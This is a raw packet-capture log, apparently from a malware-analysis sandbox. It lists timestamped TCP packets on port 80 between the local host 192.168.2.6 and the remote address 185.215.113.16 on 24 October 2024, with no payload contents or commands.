Oct 24, 2024 09:07:29.961215019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961231947 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961232901 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961249113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961265087 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961266041 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961293936 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961325884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961342096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961357117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961378098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:29.961388111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.961410046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:29.968982935 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002407074 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002443075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002479076 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002517939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002556086 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002583981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002583981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002609015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002643108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002655983 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002679110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002695084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002712965 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002774954 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.002810955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002863884 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002896070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.002950907 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.032069921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.049520969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.049556971 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.049592972 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.049746037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.049746037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.051364899 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.074594975 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074657917 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074696064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074731112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074764967 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074815989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074847937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.074847937 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.074872017 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074908018 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074922085 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.074945927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.074964046 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.074996948 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075031042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075051069 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075067043 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075098038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075120926 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075153112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075187922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075196028 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075241089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075275898 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075284004 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075305939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075364113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075417042 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075428009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075474024 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075493097 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075510979 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075544119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075546026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075582027 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075617075 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075629950 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075647116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075697899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075700998 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075752020 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075771093 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075792074 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075809956 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075859070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075881958 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075894117 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075932026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075943947 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.075965881 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.075999022 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076016903 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076034069 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076081991 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076085091 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076119900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076164961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076185942 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076199055 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076245070 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076246023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076281071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076313019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076350927 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076350927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076384068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076406002 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076435089 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076481104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076486111 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076515913 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076570034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076577902 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076603889 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076644897 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076653004 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076688051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076720953 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076730013 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076755047 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076790094 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076822996 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076823950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076875925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076905012 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.076909065 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076939106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.076984882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077011108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077018976 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077033997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077054977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077090979 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077104092 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077126026 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077143908 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077159882 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077183008 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077191114 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077239037 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077245951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077281952 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077313900 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077349901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077363014 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077390909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077399969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077438116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077438116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077450037 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077486038 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077516079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077562094 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077565908 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077600002 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077622890 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077634096 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077671051 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077680111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077719927 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077779055 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077852964 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077888966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077927113 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077960968 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.077960968 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.077996969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078044891 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078059912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078094006 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078113079 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078128099 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078161955 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078178883 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078196049 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078227997 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078260899 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078272104 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078294992 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078330040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078342915 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078363895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078380108 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078417063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078466892 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078501940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078519106 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078536987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078572035 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078588009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078619957 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078627110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078664064 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078700066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078716993 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078736067 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078772068 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078805923 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078823090 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078841925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078874111 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078876019 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078907013 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078941107 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078946114 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.078975916 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.078989029 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079014063 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079027891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079056978 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079062939 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079098940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079113007 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079133987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079181910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079197884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079216957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079253912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079265118 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079307079 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079386950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079406023 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079422951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079457998 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079493046 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079509974 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079530001 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079562902 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079577923 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079598904 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079615116 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079633951 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079668045 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079696894 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079715014 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079731941 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079767942 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079801083 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079807997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079807997 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079837084 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079866886 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079900980 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079914093 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079936028 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.079977036 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.079983950 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.080600977 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119411945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119466066 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119522095 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119573116 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119607925 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119637966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119656086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119656086 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119669914 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119707108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119728088 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119736910 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119771957 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119782925 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119823933 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119826078 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119870901 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119920015 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.119940042 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.119957924 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.120006084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.131787062 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.166485071 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.166506052 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.166521072 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.166697025 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191591978 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191618919 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191633940 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191668034 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191684961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191716909 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191771030 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191765070 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191766024 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191828966 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191836119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191836119 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191843987 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191859961 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191875935 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191901922 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191915989 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191931963 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191931009 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191948891 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191966057 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.191970110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.191986084 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192023039 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192037106 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192050934 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192065954 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192076921 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192102909 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192152977 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192166090 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192181110 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192199945 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192210913 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192214012 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192229033 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192234039 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192249060 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192260981 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192296982 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192307949 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192322969 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192338943 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192352057 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192385912 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192398071 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192399025 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192418098 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192456961 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192478895 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192495108 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192509890 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192540884 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192579985 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192624092 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192639112 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192656040 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192672014 CEST	80	49772	185.215.113.16	192.168.2.6
Oct 24, 2024 09:07:30.192684889 CEST	49772	80	192.168.2.6	185.215.113.16
Oct 24, 2024 09:07:30.192689896 CEST	80	49772	185.215.113.16	192.168.2.6
